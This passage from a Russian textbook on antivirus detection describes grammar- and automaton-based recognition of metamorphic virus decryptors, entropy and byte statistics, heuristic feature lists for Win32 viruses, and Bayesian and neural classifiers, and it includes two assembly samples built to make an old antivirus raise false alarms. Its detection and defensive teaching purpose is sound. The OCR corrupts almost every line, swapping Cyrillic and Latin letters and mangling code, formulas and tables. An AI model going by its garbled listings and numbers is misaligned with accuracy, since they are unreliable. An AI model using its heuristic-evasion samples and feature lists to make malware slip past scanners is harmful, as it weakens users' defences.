или тмсяч) экземпляров вируса, дизассемблирует их код и «склеи- 
вает» последовательности кодов операций в одну длинную «строку». 
Символм этой строки рассматриваются в рамках скрьггой Марков- 
ской модели как наблюдаемме собнтия. Используя алгоритм Баума- 
Уэлча, вирусолог приблизительно оценивает структуру и параметрн 
скрнтой части модели (количества состояний и матрицу переходннх 
вероятностей). Именно эта фиксированная модель и служит в качест- 
ве «сигнатурм» при детектировании вирусов. Получив из подозри- 
тельной программм последовательность кодов операций, антивирус 
при помоши алгоритма «вперед-назад» оценивает вероятность того, 
что данная последовательность принадлежит именно этому мета- 
морфному вирусу.

Наконец, нельзя не отметить еше один -  самьш важньш! -  подход 
к детекгированию метаморфного кода. Он основан на представле- 
нии всевозможнмх вариантов кода в виде внсказнваний некоторого 
язьжа, символами алфавита которого являются отдельнне командн 
или группн команд. Методн описания язнков в виде «формальннх 
грамматик» и проверки соответствия конкретного внсказнвания той 
или иной грамматике давно и хорошо изученн. Рассмотрим их при- 
менение к детектированию метаморфного кода на примере все того 
же вируса Вап<]ег$па£сЬ.

Тшательннй анализ алгоритма работн вируса позволяет сделать 
вьшод, что в основе расшифровшика лежат шесть -«значимнх» команд:

О три командн загрузки регистров (вида « МОУ регистр, число»);
О  расшифровка данннх (или «АОО/5ИВ/ХОКнамять,регистр», 

или «КОК/КОЬ память»);
О декремент счетчика итераций (вида -«ОЕС регистр»);
О проверка значения счетчика и организация цикла (вида ^ N 2 /  

^С адрес»),
Между ними мог>т располагаться «мусорнне» командн, которне 

также внбираются пусть из большого, но все же ограниченного коли- 
чества вариантов. Таким образом, расшифровшик может бнть пред- 
ставлен «текстом», соответствуюшим, например, следуюшей грамма- 
тике:
<Ьэпаег5г;агоп>: : = <мусор><Э8грузка><мусор><загруз^8><иуоор>

^загрузкахмусорхраоифровкахмусорхдвкреиент»
< М у с о р х ц и  КЛ > <« у 0 0 р >

<загруэка>  : : = ш оу <региотр.>, <чиоло>
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<расшифровка>::= <команда1> | <команда2>
<декремент>::= йес <г16>
<цикл>::= <копОХчисло>
<муеор>::= | <бред> | <муоор> <бред>
<бред>::= сз: ] йз: I ез: ! зз : I пор | сХй | згй | с И  | з И  | <командаЗ>
<копО>::= ]п г  | ]д  
<коп1>::= го1 | гог
<коп2>::= айй | зиЬ | хог
<копЗ>::= д.пс | Йес I ризИ | рор
<команда1>: : = <кол1Хкосв>
<команда2>: : = <коп2Хкосв>, <г16>
<командаЗ>:: = <коп2хг8>,<косв> | <копЗ><г16> I 1пс <г8> | йес <г8>
<косе>::= [ <г16> ]
<регистр>::= <г8> I <г16>
< г8 > :: = а1 | Ь1 ! с1 | 01 | а!) I ЬЬ ! сЪ | ЙИ 
<г16>::= ах | Ьх ! сх | йх ! 31 I сИ | Ьр
<число>::= <цифра> | <число> <цифра>
<цифра>: 0 1 2 - 3  4 5 6 '  7 , 8  9

Самое первое правило грамматики содержит нетерминалн, соот- 
ветствуютие «значимнм» и «мусорннм» командам расшифровшика. 
Они, в свою очередь, определяются через другие нетерминалм и тер- 
миналм (то есть фрагменти грамматики, не подлежаидае дальнейшей 
декомпозиции -  цифрн, кодн операций, наименования регистров и 
прочее). Проверка того или иного «внсказнвания» на соответствие 
грамматике, как правило, сводится к построению конечного автомата, 
имеюшего два завершаюших состояния: «внсказнвание истинно» и 
«вмсказнвание ложно». Например, обозначив нетерминалн главного 
правила вирусной грамматики: «3» -  загрузка, «Р» -  расшифровка, 
«Д» -  декремент, «Ц» -  цикл, «М » -  мусор, «И» -  иное, -  можно по- 
строить для него следуюший автомат:

Вход—► 51 32 53 54 55 56 37 58 
М 51 52 53 54 55 56 I I 
3 52 53 54 58 38 58 I ▼
Р 58 58 38 35 58 38 ▼ Норма 
Д 58 58 38 38 56 38 Вирус 
Ц 58 58 58 58 58 57 
И 58 58 58 58 58 58

Ц Ц  Норма

Рис. 7.46 ❖ Конечнмй автомат грамматики, 
распознаюшей вирус ВапйегзгШсН
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Полньш автомат, описнваюший грамматику метаморфнмх расшиф- 

ровшиков вируса ВапйегзпаСсЬ, разумеется, гораздо более сложен, 
но строится по тому же принципу. Вообше говоря, если сушествует 
описание грамматюси в какой-либо формальной нотации (например, 
БНФ -  форме Бэкуса-Наура), то можно для написания фрагмента 
антивируса, реализуюшего конечнмй автомат, применить какое-ни- 
будь средство автоматизации проектирования компиляторов: Уасс/ 
В 18оп, Сосо и т. п. Входом таких средств является описание грамма- 
тики, вмходом -  готовьш исходньш текст программн на желаемом 
язмке программирования.

Использование «синтаксического» подхода позволяет абсолют- 
но однозначно детектировать метаморфньш код любой сложности. 
Правда, необходиммм условием применения этого подхода является 
знание вирусологом алгоритма работа вируса -  настолько глубокое, 
словно он является его автором. К сожалению, на достижение подоб- 
ной глубинм и написание «синтаксического анализатора» могут уйти 
недели и месяцм.

7.4.8. Анализ статистических закономерностей
В наборах чисел, образукмцих машинньш код, всегда присутствуют 
определеннме закономерности, вьхявление которнх может принести 
пользу при детектировании вирусов. Чаше всего эти закономерности 
используются для обнаружения зашифрованннх и полиморфннх 
программ и, соответственно, для принятия антивирусом решения -  
применять ему «бнстрше» сигнатурнне методн детектирования или 
«медленнне» -  динамические.

В разделе, посвяшенном рассмотрению загрузочннх вирусов, при- 
веденн два варианта одного и того же кода -  зашифрованннй и под- 
вергнутнй декодированию. Легко видеть, что попнтка дизассемб- 
лировать зашифрованньш код формирует листинг, содержаший 
«нелепне» последовательности -«страннмх» команд. Но как описать 
«нелепость» и «странность» на язнке математики?

Один из простейших подходов -  подсчет процентного содержания 
в коде определеннмх числовнх значений. Например, в «нормальном» 
программном коде встречается достаточно много -  несколько про- 
центов -  нулевнх байтов. В коде же, подвергнутом шифрованию или 
сжатию, их сушественно меньше. Можно сформировать два «тесто- 
внх корпуса»: один -  из всех программ и библиотек, содержашихся 
в каталогах различннх версий \ \ ' 1пс1о\\'8. а другой -  из всевозможнмх 
полиморфннх, зашифрованнмх и упакованннх вирусов и червей.
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Тогда распределения частот встречаемости нулевмх байтов в кодо- 
вмх секциях программ разнмх классов будут вмглядеть примерно как 
на рис. 7.47.

0,60 

Ч 0,50

С°^0
Т 0,30 
о
Т 0,20 

9 0,10 

0

Рис. 7.47 ❖ Распределения доли нулевих байтов 
в упакованном и «обьчном» коде

Легко составить правило, позволяювдее с определенной достовер- 
ностью отличать «нормальнме» программм отзашифрованнмх иупа- 
кованннх: в их кодовмх секциях (без учета секций, внутри котормх 
не находится точка входа, и «хвостов», заполняеммх нулями для вм- 
равнивания) должно присутствовать более 1% нулевмх байтов.

Другой подход состоит в дизассемблировании кодовой секции и 
расчете процентного содержания различнмх команд. Например, из- 
вестно, что в «нормальном» программном коде количество различ- 
нмх вариантов командм «МОУ» должно составлять не менее 10+20%.

Евде один подход заключается в расчете энтропии программного

кода по формуле Е = -'£рО )\о£ ., р (1), где р(г ) -  частота встречаемо-
г 4 \

сти байта со значением I. Разумеется, в рассмотрение не должнм по- 
падать «хвостн» программннх секций, содержавдие значения 0, ССЬ 
или 90Ь. Легко видеть, что набору одинаковмх байтов будет соответ- 
ствовать значение Е = 0 битов, а набору, в котором все байтн равно- 
вероятнм, Е = 8 битов. Реальная энтропия кода программ редко до- 
стигаег крайних значений, но распределения значений энтропии для 
«нормальннх» и сжатмх программ все же различаются.

Пороговое значение, позволяювдее различать «нормальнне» и 
«сжатме» (упаковвдиками типа 11РХ, Азраск, АгтасЬПо и т. п.) про- 
граммм, находится в районе Е0 ~ 7,2 бита.

(зашифрованньге и упакованнме^)

Обь1чнь1е программьГ)

%
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Рис. 7 .48  ❖ Распределения энтропии 
упакованного и «обмчного» кода

Также можно дизассемблировать программную секцию и оценить 
ее «нормальность» методом «п-грамм». Действительно, код, состоя- 
вдий из часто встречаювдихся последовательностей операций (напри- 
мер, «САЬЬ» после «РиЗН»), имеет больше оснований считаться 
«нормальним», чем код, состояший из редких и невозможнмх после- 
довательностей (например, «11\ТТ» рядом с «Ш»). Также очень харак- 
терно для полиморфньгх вирусов большое количество «бессмнслен- 
нмх» команд типа «МО¥ ЕАХ,ЕАХ». Впрочем, «бьгстрмм» подход, 
основанннй на дизассемблировании больших участков кода, не на- 
зовешь, и практическая применимость его в антивирусах-сканерах, 
по-видимому, не слишком велика.

7.4.9. Эвристические методм детектирования вирусов
До сих пор мм рассматривали методм, позволяюшие антивирусу рас- 
познавать конкретную разновидность вредоносной программм. Пред- 
полагалось, что эта разновидность заранее попала в руки вирусолога, 
бнла им изучена и описана в виде множества характернмх признаков: 
сигнатур, контрольннх сумм, статистических закономерностей кода, 
грамматик и т. п.

Вместе с тем сушествуют технологии, которне позволяют обна- 
руживать «новме», заранее не изученнме вирусн. Такие технологии 
назьгеаются «проактивньши», то есть предваряювдими и предотвра- 
шаювдими активацию вируса.

Рассмотрим проактивнне технологии, которме базируются на ме- 
тодах «эвристического анализа». Здесь под «эвристикой» (от греч. 
Неитсо -  отмскание. открмвание) понимается воспроизведение под-
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ходов, свойственннх человеческому ммшлению. В обшем, решение 
задачи детектирования «нового» вируса лежит в сфере компетенции 
сложной математической дисхдиплинн, известной как «распознавание 
образов». Согласно одной из широко распространенньгх точек зрения, 
эта дисциплина занимается:

1 ) «кластеризацией»- -  вмделением на множестве объектов непе- 
ресекаюшихся классов;

2) «классификацией» -  отнесением конкретного объекта к тому 
или иному заранее определенному классу.

Предполагается, что каждмй объект однозначно характеризуется 
множеством своих признаков (числовнх, логических и т. п.). Можно 
представить значения признаков координатами объектов в много- 
мерном пространстве, тогда задача сведется к построению сложной 
поверхности, разделяюшей пространство на такие области, чтобн 
в каждой из них группировались бн объектн только одного класса. 
Обмчно такие поверхности строятся (автоматизированно или «вруч- 
ную») на основе анализа большого количества объектов, принадле- 
жаших разннм классам. Очевидно, возможнн «неудачнме» поверх- 
ности, которне не всегда правильно разделяют пространство. Их 
использование может привести к «ошибкам классификации»:

О «первого рода» -  когда объект не попадает в свой класс;
О «второго рода» -  когда объект попадает в «чужой» класс.

Рис. 7 .49  ❖ Геометрическая интерпретация задачи 
распознавания образов

Исходньши данннми для собственно «классификации» является 
вектор признаков, характеризуюи;их конкретньш объект, а результа- 
том -  вмвод о принадлежности этого объекта. На практике класси-
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фикацией занимается некий «решатель», в которьш «зашита>> (в виде 
математической формулн, системн правил или алгоритма) заранее 
построенная разделяювдая поверхность.

Как правило, внвод о принадлежности объекта к тому или иному 
классу не является однозначннм. Например, если речь идет о кчас- 
сификации компьютерннх программ, то он может внглядеть так: 
«программа является вирусом с вероятностью 0.9», или даже так: 
«программа является МБ-БОЗ-вирусом, заражаюшим загрузочннй 
сектор с вероятностью 0.4, ЕХЕ-файлн с вероятностью 0.3 и СОМ- 
файлн с вероятностью 0.2». Таким образом, «нечеткость» итогового 
внвода является недостатком «эвристических антивирусов».

Зато привлекательньш достоинством являются их малнй размер 
и невнсокие требования к системннм ресурсам, поскольку базн дан- 
ннх, содержашие наборн эвристических правил, на много порядков 
компактнее, чем базн данннх с сигнатурами.

7.4.9.1. Виделение характерньис признаков
В качестве признаков, характеризуюших конкретннй тип вирусов, 

могут внступать самне разнообразнне свойства или особенности 
«подозрительного» объекта. Все как в жизни -  врач может поставить 
больному диагноз «грипп»: обнаружив во время лабораторннх ис- 
следований в крови соответствукнцие антитела; воспользовавшись 
объективннми симптомами -  повншенной температурой. наличием 
кашля и насморка; а еше внслушав субъективнне жалобн на голов- 
ную боль и ломоту в суставах. Можно использовать характеристики 
одной группн, а можно все сразу.

В принципе, современнне методн распознавания образов позволя- 
ют применять как «числовне», так и «логические» признаки, то есть 
отвечаюшие на вопрос «да» или «нет». Но более просто реализуется и 
более достовернне результатн дает использование признаков именно

Вектор признэков Решатель

Класс1 ?
Класс2 7
КлассЗ ? -►  Вувод

КлаосН ?

Рис. 7 .50  ❖ Решение задачи 
распознавания образов
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второго -  «логического» -  типа. Не говоря уже о том, что «число- 
вме» признаки всегда мог>т бнть сведенм к «логическим» простнм 
разбиением области значений на непересекаюшиеся поддиапазонн и 
введением признаков вида «характеристика попала в поддиапазон от 
X до У».

В первнх экспериментах с эвристическим детектированием виру- 
сов в качестве «симптомов» использовалось наличие или отсутствие 
характерннх для компьютерннх вирусов «п-грамм». Например, 
«3-грамма» «Е8Ь 00 00» довольно часто встречается как в МЗ-БОЗ, 
так и в \¥ тс 1о^з-вирусах, поскольку соответствзгет трем первнм бай- 
там фрагмента

са11 лех1; 
пе:<1: рор регистр

Также можно использовать «п-граммн», характернне не для «ви- 
русов вообвде», а для их конкретннх разновидностей: загрузочннх, 
резидентннх, используюших поиск в каталоге и т. п. Например, 
«3-грамма» «ЗОЬ 5АЬ 4БЬ» часто встречается в М5-003-вирусах, 
заражаюших ЕХЕ-программьз, а в разделе этой книги, посвягценной 
использованию СК.С-32, можно найти 4-граммн, соответствуюшие 
вирусам, обнаруживаюшим системньхе сервисн в таблице экспорта 
чКЕИ^ЕЬ32.ВЕЬ» по контрольньш суммам имен. Разумеется, спи- 
ски подобньш «п-грамм» можно сформировать и вручн}то, но лучше 
автоматизировать этот процесс, исследовав частотн встречаемости 
различннх байтовнх цепочек в больших наборах зараженннх и неза- 
раженннх программ («корпусах»).

Не менее харакгерннм признаком может служить наличие или от- 
сутствие в программе более длинннх байтовнх цепочек -  сигнатур и 
масок, присуших не конкретннм вирусам и семействам, а обширнмм 
классам однотипньгх вредоносньгх программ. Например, сигнатурн 
«СО 2 1Ь», «9СЬ 9АЬ 84Ь 00 00 00» и маска «9СЬ 68Ь ???? ЕАЬ 84Ь 00 
00 00» могут служить признаком того, что подозрительная М З-005 
программа внзвала некоторое системное прернвание. А маска «68Ь 
???????? Е8Ь» обьино соответствует внзову некоторого системного 
сервиса \У1п32-программой.

Далее, в качестве косвенннх признаков, характеризуюших \\ ;т32- 
вирусн, можно использовать перечень, приведенньш Ре1.ег 8гог 
в статье «Атака на \Ут32» [63,64]:

О точка входа располагается в последней секции файла;
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О для секции одновременно установленн флаги «\Уп1:еаЬ1е» и 

«ехесиЬаМе»;
О в РЕ-заголовке значение поля 51геОПша§е не внровнено на 

длину страницн (в \\71п9Х такие программн считались кор- 
ректньши);

О большой «зазор» между секциями (например, между предпо- 
следней и последней);

О  программннй код начинается с или «СА1Х»;
О нестандартное имя секции (например, «АТОМ1С99»);
О точка входа располагается вне секций (в \¥ш9Х такие програм- 

мн считались корректньши);
О импорт производится не по именам, а по ординалам (особенно 

для функций Сег РгосАсМгехз и СеГ.Мос1и1 еНапсП еА);
О  программа содержит несколько РЕ-заголовков и две таблицн 

импортируемнх имен (характерно для вирусов, используюших 
«оверлейннй» принцип заражения);

О в коде программн присугствуют «САЪЬ $+5/РОР» или «СМР 
ЕАХ, 00004550Ь;

О в заголовке Б1Х неверна контрольная сумма (в \Ут9Х такие 
ОЕЬ считались корректньши);

О обрашениек функциям «КЕШ\1ЕЬ32.ВЕЬ» или «НТОЕЕ.ОЕЬ» 
вьшолняется по конкретннм адресам;

О в программе используется копирование в область, начинаю- 
шуюся с адреса ОхСООООООО (это неиспользуемая область в ре- 
гионе УММ для \Мп9Х);

О в РЕ-заголовке неверно значение для 512еОЮос1е.
Еше пример: «ртакованность» программн можно распознать не 

только по статистическим закономерностям кода, но и исследуя его 
«геометрию». Например, в статье китайских авторов Янг Сео-Чой и 
др. «Техника детектирования закодированньгх программннх файлов 
при помовди анализа заголовка» рассматриваются следуюшие число- 
вне и лошческие признаки зашифрованннх и сжатнх программннх 
файлов [75]:

О количество секций с одновременно установленннми флагами 
«ехесиГаЬ1е» и «\\т1(:еаЬ1е»;

О количество секций с флагом «ехесиГаЬ1е>>, не содержаших код, 
и секций, не являюшихся «ехесиГ.аЬ1е», но содержаших код;

О количество секций с «нечитабельньш» (не содержатим букв, 
цифр и точек) именем;

О отсутствие секций с признаком «ехеси1аЬ1е»;
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О превмшение суммм размеров секций над длиной файла;
О расположение сигнатурм ‘РЕ ’ внутри области М2-заголовка и 

«заглушки»;
О секция с точкой входа не имеет признака «ехеси1аЬ1е»;
О секция с точкой входа не содержит кода (кроме, возможно, са- 

мой первой командн).
Также нетрудно сообразить, что признаками макровирусов мо1ут 

служить кодь1 команд и функций:
О МасгоСору -  для \Уогс1Ьа81с;
О .Ог§ап12егСору,.ЕхрогС и ЛшроЛ, .АсМҒготҒ11е и прочие -  для 

УВА.
Все вмшеперечисленние признаки получаются «статически- 

ми» методами -  в результате анализа двоичного образа программн. 
Ехце больше информации для размьшлений можно добнть, эмули- 
руя (или трассируя) программу и анализируя происходяшие собн- 
тия. Например, в американском Патенте 6.357.008 [69] упоминается 
сложньш признак

.. .присутствие операции перехода на конец файла (5ЕЕК), следу- 
Ю1цей за записью (\Л/Ғ)1ТЕ) в файл инструкции иМР, где ЗЕЕК по- 
зволяет определить размер файла в байтах, а ^МР производится 
на равное или большее расстояние...
В доступной литературе можно найти еше немало примеров при- 

знаков, характерннх для той или иной разновидности компьютер- 
ной 4заразн». Следует, однако, иметь в виду, что ими пользуются не 
только компьютернне вирусологи, но и вирусописатели. В частности, 
4список Сзора» давно включен во все вирусописательские пособия и 
руководства в качестве перечня того, чего «при написании вирусов 
делать не рекомендуется». Впрочем, множество «хороших», но нигде 
ранее не упомянутнх признаков вирусолог всегда может внделить, 
сообразуясь с собственннми знаниями и опнтом.

Для любого характеристического вектора, составленного из переч- 
ня признаков, должнн виполняться условия:

О  небольшой размер (как правило, несколько десятков призна- 
ков);

О информативность (отсутствие «нехарактерннх» признаков);
О  некоррелированность (статистическая независимость) приз- 

наков.
Однако если набор признаков получен автоматизированно, на- 

пример путем сканирования «тестовнх корпусов» и внделения часто
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встречаюшихся «п-грамм», вмбор некоррелированннх признаков мо- 
жет оказаться непростой задачей. Для ее решения придется приме- 
нять довольно сложнне методн факторного анализа, например «ме- 
тод главннх компонентов» [4]. В нашей книге они рассматриваться 
не будут.

7.4.9.2. Логические методи
Наиболее простой и естественннй способ построения «решателей» 

основан на применении ко множеству обнаруженннх симптомов си- 
стемн «продукций». Продукцией назнвается правило вида: ЕСЛИ 
«предикат» ТО «вьгеод».

Предикатн (условия) мог>т представлять собой сложнне функ- 
ции над различннми симптомами и ранее полученньши внводами, 
образованнне при помоши логических действий «И», «ИЛИ» и 
«НЕ», например:
ЕСЛИ
"Открить_На_3ались” И "Прочитать_Начало” И "Записать„В_Конец" И 
"Записать_В_Начало” И "Ззкрьлъ”

то
Вивод := "С0М.У1йи5";

КОНЕЦ_ЕСЛИ

ЕСЛИ
Вь1ВОД=” С0М Л/1В'03" И " Поиск_Фзйлов'

ТО
бивод := Знвод + "8ЕАВСН";

КОНЕЦ_ЕСЛИ

ЕСЛИ
8ивод="С0М.УШ8“ И "Остатьея_в_памяти"

ТО
Вмвод := Вивод + "Т8В"

КОНЕЦ.ЕСЛИ

У такого подхода масса недостатков: 1) объективность итогового 
внвода сильно зависит от того, насколько корректно, четко и непро- 
тиворечиво вирусолог составит и опишет систему правил; 2) при не- 
обходимости видоизменить эту систему (например, при появлении 
нового типа вирусов) может потребоваться переписать ее полностью 
с самого начала; 3) система не позволяет учесть порядок появления 
симптомов в файле и т. п.

Тем не менее авторов антивирусннх пакетов, видимо, привлекают 
простота и наглядность подхода. Наверное, именно так Ог\¥ЕВ кон- 
ца 1990-х годов автоматически обнаруживал и лечил свои МппугкЬ.
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Сепепс. Зная принципм работм, <обдурить» его не составляло тру- 
да. Антивирус обнаруживал массу подозрительнмх признаков в спе- 
циальнмм образом составленнмх безвреднмх (более того, бессмнс- 
леннмх) программах. Вот одна из них:
; "Дурияка" для антивируса #1. К Климентьев, 1999
, Признаки "СОМ. ЕХЕ . Т8Й. VI Ғ!У8"
гет
тоу а(1, 4ЕИ 
гаоу йх, оТТзеТ ЕХЕ 
псу йх, оттзет СОМ
1 П 1  21(1

иоу а(1, 30(1 
1пт 21(1 
1пс а(1 
1 пг 21(1 
1П С  а(1 
1ПС а(1 

1П Т  21(1 
тоу ах, 2521(1 
1пт 21П
ЕХЕ 0С '* .ЕХЕ ',0 
СОК ОВ '. .С О М ',0

А вот другая:
"Дурилкэ" для антивируса «2 В Колесников, 1898 

; Признаки "СОМ. ЕХЕ. ТЗН. В00Т СВУРТ.'ЛВЦ8"
1П1: 20И
шоу ах,2521Г1
1пг 21Ь
(ПОУ ах,3231П
хог ах,3030М
шоу с1, а1
1пт 80И
хог ах.3030П
хог ах.3130П
1ПТ 81Н
ШОУ аИ,30И
1ПТ 82И
тоу ай,ЗҒИ
т т 83п
стр а х . '2 М ‘
тоу ах,4232Н
хо г а1,30П
1ПТ Ш
тоу а1,35П
хог а1Р 3011
тоу с1, а1
тоу аИ. 40(1
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1(11 8511 
ШОУ а1, 38(1 
х о г  а 1 , 20Н 
ш ом  с 1 , а 1 
шоу аП ,40Ь 
1пТ: 86(1

Объективности ради следует отметить, что в поведении коммер- 
ческого продукта, работаюшего по принципу «лучше перебдеть, чем 
недобдеть», нет ничего предосудительного.

7.4.93. Синтаксические методи
Этот подход позволяет, не меняя ничего принципиально в предм- 

дувдем методе, избавиться от некоторьтх его недостатков. Фактически 
расположенньте в определенной последовательности собьггия -  это и 
есть фразн определенного язнка. Как использоватъ это обстоятель- 
ство, бнло ранее нами рассмотрено в разделе, посвявденном детекти- 
рованию метаморфннх вирусов.

Простой пример -  пусть в длинной цепочке собнтий, поллчениой 
в результате эмуляции или трассировки подозрительной программн, 
необходимо проверить не только присутствие, но и правильннй по- 
рядок расположения собнтий «О -  открнть файл», «\¥ -  записать 
в файл», «С -  закрьпъ файлк Строим примитивньш автомат:

81 32 33 54 85
О
УУ
с

Иначе
<еоО

52 32 82 | \
81 83 53 * \
31 51 54 Вирус\
81 82 83 V
55 55 55 Не вирус

Рис. 7.51 ❖ Автомат грамматики, 
распознаюидей запись в файл

С точки зрения -«решателя», используюшего этот автомат, «правиль- 
ньтш» буд>тг, например, считаться цепочки вида «0 -0 -\\л \У-\¥-С» 
и неправильннми -  «0-\¥-0-С », что нам и надо.

«Синтаксический» подход не отменяет «логического», а довольно 
удачно дополняет его.

7.4.9.4. Методи на основе формули Байеса
Внше бмл упомянут неприятньга недостаток «логического» и 

«синтаксического» подходов: «решатель» приходилось настраивать
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«вручную», и качество его работм зависело от опьгга и умения челове- 
ка. Как альтернативу рассмотрим очень известньхй метод, использую- 
ший «автоматическое» обучение решателя и основаннмй на формуле 
Байеса [4]:

Р(0,)Р(Ь' | Д )р/п с л  ...........................................   ‘ — —--------------------------- ,
\  1 Р (Д ) /х 5 у!Д )  + Р(Ог)Р (5 ^ Р 2) + ... + Р(Дл.) /^ |/> л > )

где 5  -  «симптомм»; О  -  «диагнозн»; Д Д )  -  априорная вероятность 
г-го «диагноза»; Р(5,\0}) -  частота появления г-го «симптома» при 
У-ом «диагнозе»; Р(Д |5;) -  условная вероятность истинности г-го 
«диагноза» при обнаружении )-то «симптома»; N  -  количество воз- 
можнмх «диагнозов».

Сначала берется большая обучаювдая вмборка вирусов и нормаль- 
нмх программ (причем количественнме пропорции их должни бьггь 
примерно такими же, как в жизни), и по ней определяются исходнне 
значения Р(Д). Впрочем, для простотм можно считать, что все они 
одинаковм и равнм 1/М  Потом берется коллекдия из вирусов, за- 
ранее расклассифицированнмх по N  типам, и по ней определяются 
/*(5(| Д). На этом обучение Байесовского «решателя» завершено. По- 
лученнме даннме «зашиваются» в антивирус.

Работа «решателя» заключается в следуювдем. Допустим, имеется 
подозрительная программа. Антивирус сканирует ее и находит в ней 
некоторнй набор из К  «симптомов» 5 = {5,, 52, ..., 5К}. Необходимо 
оценить, какова вероятность «диагноза» Д . В этом случае по форму- 
ле Байеса вьиисляются вероятности Я(Д |5^) для всех 5̂ , входяших в 
набор 5. Далее, в предположении, что все «симптомн» статистически 
независимь1 (если это не так. вирусолог сам виноват -  надо бнло вн- 
бирать некоррелированнне признаки), можно определить искомую 
вероятность:
Д Д |5 )  = Р (Д |5 1)х /Х Д |52)х ...хР(Д |5а.).

Можно посчитать аналогичнне вероятности для всех «диагнозов» 
и внбрать из них максимальную -  этот «диагноз» и будет результа- 
том классификации.

В 2007 году группа сотрудников Университета Бен-Гурион, зани- 
мавшаяся сопоставлением эффективности различннх эвристических 
методов, добилась при помовди Байесовского подхода довольно вм- 
сокой вероятности распознавания \¥т32-вирусов -  порядка 0,93 при 
6% ложннх срабатнваний [59].
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7.4.Э.5. Методи, используюгцие искусственние 
нейроннь1е сети
Это семейство очень «моднмх» методов, имитируювдих работу 

мозга живьтх сушеств. Есть много разновидностей нейросетей (сети 
Кохонена, Хопфилда, рекуррентнне и т. п.), но мнкратко рассмотрим 
самую старую, самую известную и самую изученную разновидность -  
«многослойньш нелинейньга перцептрон» [4].

Подобную сеть проше всего представить как ориентированньш 
граф из большого количества узлов («нейронов»), которме распола- 
гаются слоями. В слоях может бмть неодинаковое количество узлов. 
Пусть имеются несколько признаков («симптомов»), каждому из них 
ставится в соответствие узел «входного» слоя. Есть несколько воз- 
можнмх результатов распознавания, им ставятся в соответствие узлн 
«вмходного» слоя. И есть несколько «внутренних>> слоев. В типич- 
ном случае кажднй узел одного слоя соединен со всеми узлами со- 
седних слоев:

Входной Промежуточнмй Вмходной
слой слой слой

Рис. 7 .52  ❖ Типичная струюура 
многослойного перцептрона

По ребрам распространяются числовме значения. Кроме того, каж- 
дому ребру графа приписано некоторое переменное число \¥  -  «вес» 
ребра (еше их назнвают «синапсами» по аналогии с похожими эле- 
ментами в биологических нейронах). Распознаюшие свойства ней- 
ронной сети заключаются именно в системе фиксированнмх значе- 
ний весов

Предположим, что имеются некоторне числовме признаки, и они 
подаются на соответствуювдие узлн входного слоя. Если признаки 
не числовне, а логические, можно принять их равннми 0 или 1. Эти
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значения распространяются по ребрам «слева направо» (то есть по 
направлению от входного слоя к внходному) и собираются в узлах 
промежуточнмх слоев, но, перед тем как двинуться дальше, пересчи- 
тнваются в каждом узле по правилу:

( м \
У = Ғ ,

где]  -  номер ребра, входягцего в узел; -  значение_/-го «синапса»; 
X; -  значение, входяидее в узел по;-му ребру; М -  количество ребер, 
входяших в узел; ¥  -  внходное значение узла, распространяюшееся 
в дальнейшем на все узлн следуюшего слоя; Ғ -  обвдая для всех узлов 
функция. Используются несколько вариантов этой функции, чаше 
всего «логистическая» Ғ(() = 1/(1 + ехр(-а£)) с «параметром полого- 
сти» а (см. рис. 7.53).

Рис. 7 .53  ❖ Логистическая функция 
активации нейрона

В итоге на узлах внходного слоя сети образуются некоторне зна- 
чения. Если «синапсн» \У подобранн правильно, то вектор значений 
будет соответствовать правильному «ответу». Например, вьгход, со- 
ответствуювдий «сетевому червю», будет близок к 1 , а все осталь- 
нне -  к 0. Таков принцип действия распознаюшей нейронной сети.

Но перед началом использования сеть нуждается в «обучении», то 
есть в настройке синапсов \¥. Сувдествует немало алгоритмов « обуче- 
ния». наиболее простнм и популярньш является «алгоритм обратного 
распространения ошибок». Сначала всем «синапсам» присваиваются 
случайнне значения. Потом берется большое количество обучакмцих 
образцов (например, коллекция, содержашая как разнообразнне ви- 
русн, так и нормальнне программьт) и для каждого из них нейронную



592 ❖ Философские и математмческие аспекть!
сеть заставляют вьгаислить некий результат. Ошибки распознавания 
(отклонения полученнмх на вмходе значений от ожидаемнх). распро- 
страняясь в обратном направлении -  от вмходного слоя к входному, 
используются для пересчета «синапсов». Эта процедура повторяется 
многократно, пока сеть не научится распознавать один образец, после 
чего сети предлагается следукяций образец, потом еше один, и так до 
тех пор, пока сеть не научится классифицировать все предлагаемме 
объекть1 с приемлемой точностью. Окончательно значения «синап- 
сов» фиксируются, и сеть считается готовой к работе.

На протяжении 1990-х годов группа исследователей из 1ВМ 
КезеагсЬ много экспериментировала, пнтаясь применить нейрон- 
нме сети для детектирования «неизвестнмх» вирусов [45]. При этом 
в качестве входннх данннх рассматривались извлеченнме из про- 
граммного кода «3-граммн» и «4-граммн». Относительннй успех 
бнл достигнут при детектировании загрузочннх вирусов: «новне» 
разновидности опознавались с вероятностью 0,85, причем ложнне 
срабатмвания наблюдались менее чем в 1% случаев. Итогом работм 
стал нейросетевой модуль АМК, включенннй в состав 1ВМ А ги т тз . 
Однако попнтка применить такой же подход для детектирования 
МЗ-ЭОЗ и \У1п32-вирусов показала не слишком внсокий процент 
распознавания. В 2007 г. группа исследователей из университета Бен- 
Гурион ставила аналогичнне экспериментн, используя «5-граммн», 
и добилась вероятности распознавания 0,89 при 4% ложннх срабатн- 
ваний [59].

Вероятно, эвристические распознаватели, претендуюшие на хоро- 
ший результат, должнм использовать в характеристических векторах 
смесь разнородннх признаков: «п-граммн», статистические особен- 
ности кода, информацию из программннх заголовков и прочее.

В настояший момент нейросетевне модули, решакмцие частнне за- 
дачи детектирования, включенн во многае антивирусн. Например, 
на момент написания этих строк сразу несколько нейронннх сетей 
(два «нейропрофиля») включенн в состав антивируса АУ2 для поис- 
ка подозрительннх программ на диске и в памяти.

7.4.10. Концепция современного антивирусного 
детектора
На протяжении последних десятилетий представление специалистов 
и пользователей о том, как должен внглядеть и работать «идеаль- 
ньш» антивирусний детектор, менялось. В обгцем и целом, процесс
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этого изменения можно представить как раздельное развитие, конку- 
ренцию и синтез двух концепций:

О детектирование вирусов «в статике» -  по их двоичному образу 
на диске или в памяти;

О детектирование вирусов «в динамике» -  по их поведению.
Первая группа подходов и методов, включаюшая поиск сигнатур, 

расчет контрольннх сумм, вьнисление коэффициентов «похожести», 
эвристический анализ совокупностей разнообразнмх признаков и 
прочее, бмла нами внше достаточно подробна рассмотрена. «Дина- 
мика*> (в форме эмуляции и трассировки) играла в этих методах под- 
чиненную роль, как средство получения иного -  более удобного для 
исследования, -  но все равно статичного образа «подозрительннх» 
программ.

Однако не менее эффективной разновидностью антивирусной 
зашитм является детектирование вирусов в процессе их работн по 
характерной последовательности внполняемнх действий. Самне 
